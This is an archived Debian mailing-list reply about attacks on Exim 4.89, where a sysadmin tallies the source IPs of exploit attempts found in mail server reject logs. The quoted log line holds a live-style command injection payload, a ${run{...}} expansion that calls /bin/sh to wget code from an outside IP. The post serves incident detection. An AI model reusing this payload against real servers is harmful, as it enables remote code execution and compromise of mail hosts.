Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]

Groups > linux.debian.user > #210169

Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable.

Show all headers | View raw

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256



On 21/6/19 5:52 am, Reco wrote:
> Plain old grep is more than enough here. This one:
> 
> grep 'run{' /var/log/exim4/reject*
> 
> finds things like these:
> 
> 2019-06-19 18:54:43 H=(service.com) [107.182.225.42]
> F=<support@service.com> rejected RCPT
> <root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2064.50.180.45\x2ftmp\x2fxxx.
xxx.xxx.xxx\x22}}@localhost>:
> Unrouteable address

Okay:
 21 attempts from 8 different IP addresses on one server
     1	[163.172.157.143]
     2	[188.138.0.205]
     3	[23.129.64.152]
     4	[23.129.64.193]
     5	[27.69.172.214]
     6	[45.55.94.254]
     7	[51.15.227.108]
     8	[89.248.171.57]

 28 attempts on another server
     1	[149.56.142.192]
     2	[163.172.157.143]
     3	[188.138.0.205]
     4	[27.69.172.229]
     5	[51.15.227.108]
     6	[51.77.148.55]
     7	[85.58.114.228]
     8	[89.248.171.57]

 17 attempts on another server
     1	[188.138.0.205]
     2	[89.248.171.57]
     3	[98.158.184.125]


13 unique IP addresses so far.... (dig -x output)

     1	149.56.142.192   192.ip-149-56-142.net.
     2	163.172.157.143  143-157-172-163.rev.cloud.scaleway.com.
     3	188.138.0.205    static-ip-188-138-0-205.inaddr.ip-pool.com.
     4	23.129.64.152
     5	23.129.64.193
     6	27.69.172.214    localhost.
     7	27.69.172.229    localhost.
     8	45.55.94.254
     9	51.15.227.108    108-227-15-51.rev.cloud.scaleway.com.
    10	51.77.148.55     55.ip-51-77-148.eu.
    11	85.58.114.228    228.pool85-58-114.dynamic.orange.es.
    12	89.248.171.57    scanner20.openportstats.com.
    13	98.158.184.125   206.217.215.125.static.midphase.com.



Cheers
A.
-----BEGIN PGP SIGNATURE-----

iHUEAREIAB0WIQTJAoMHtC6YydLfjUOoFmvLt+/i+wUCXQvuOQAKCRCoFmvLt+/i
+8/6AP4uWRBxaqjlYfqJkSPTJucCw/v011piDVxI2bgZLy1X+AD9Ev/kOtenQz+O
nrNfzeHdhOZjUP8KpGqoIRa0JQuAiJA=
=FX2s
-----END PGP SIGNATURE-----

Back to linux.debian.user | Previous | Next — Previous in thread | Next in thread | Find similar | Unroll thread

Thread

Exim latest update reports to world as 4.89, which the world thinks  is vulnerable. Andrew McGlashan <andrew.mcglashan@affinityvision.com.au> - 2019-06-20 15:30 +0200
  Re: Exim latest update reports to world as 4.89, which the world  thinks is vulnerable. Greg Wooledge <wooledg@eeg.ccf.org> - 2019-06-20 15:50 +0200
  Re: Exim latest update reports to world as 4.89, which the world  thinks is vulnerable. Reco <recoverym4n@enotuniq.net> - 2019-06-20 15:50 +0200
    Re: Exim latest update reports to world as 4.89, which the world  thinks is vulnerable. Andrew McGlashan <andrew.mcglashan@affinityvision.com.au> - 2019-06-20 20:50 +0200
      Re: Exim latest update reports to world as 4.89, which the world  thinks is vulnerable. Reco <recoverym4n@enotuniq.net> - 2019-06-20 21:00 +0200
        Re: Exim latest update reports to world as 4.89, which the world  thinks is vulnerable. Andrew McGlashan <andrew.mcglashan@affinityvision.com.au> - 2019-06-20 21:50 +0200
          Re: Exim latest update reports to world as 4.89, which the world  thinks is vulnerable. Reco <recoverym4n@enotuniq.net> - 2019-06-20 22:00 +0200
            Re: Exim latest update reports to world as 4.89, which the world  thinks is vulnerable. Andrew McGlashan <andrew.mcglashan@affinityvision.com.au> - 2019-06-20 22:40 +0200
              Re: Exim latest update reports to world as 4.89, which the world  thinks is vulnerable. Brian <ad44@cityscape.co.uk> - 2019-06-21 00:00 +0200
                Re: Exim latest update reports to world as 4.89, which the world  thinks is vulnerable. Michael Stone <mstone@debian.org> - 2019-06-21 00:00 +0200
              Re: Exim latest update reports to world as 4.89, which the world  thinks is vulnerable. Reco <recoverym4n@enotuniq.net> - 2019-06-21 08:10 +0200
                Re: Exim latest update reports to world as 4.89, which the world  thinks is vulnerable. Andrew McGlashan <andrew.mcglashan@affinityvision.com.au> - 2019-06-21 13:20 +0200
                Re: Exim latest update reports to world as 4.89, which the world  thinks is vulnerable. Brian <ad44@cityscape.co.uk> - 2019-06-21 21:00 +0200
  Re: Exim latest update reports to world as 4.89, which the world  thinks is vulnerable. Brian <ad44@cityscape.co.uk> - 2019-06-20 16:00 +0200
    Re: Exim latest update reports to world as 4.89, which the world  thinks is vulnerable. Andrew McGlashan <andrew.mcglashan@affinityvision.com.au> - 2019-06-20 20:20 +0200
      Re: Exim latest update reports to world as 4.89, which the world  thinks is vulnerable. Brian <ad44@cityscape.co.uk> - 2019-06-20 21:50 +0200
        Re: Exim latest update reports to world as 4.89, which the world  thinks is vulnerable. Andy Smith <andy@strugglers.net> - 2019-06-22 21:10 +0200

csiph-web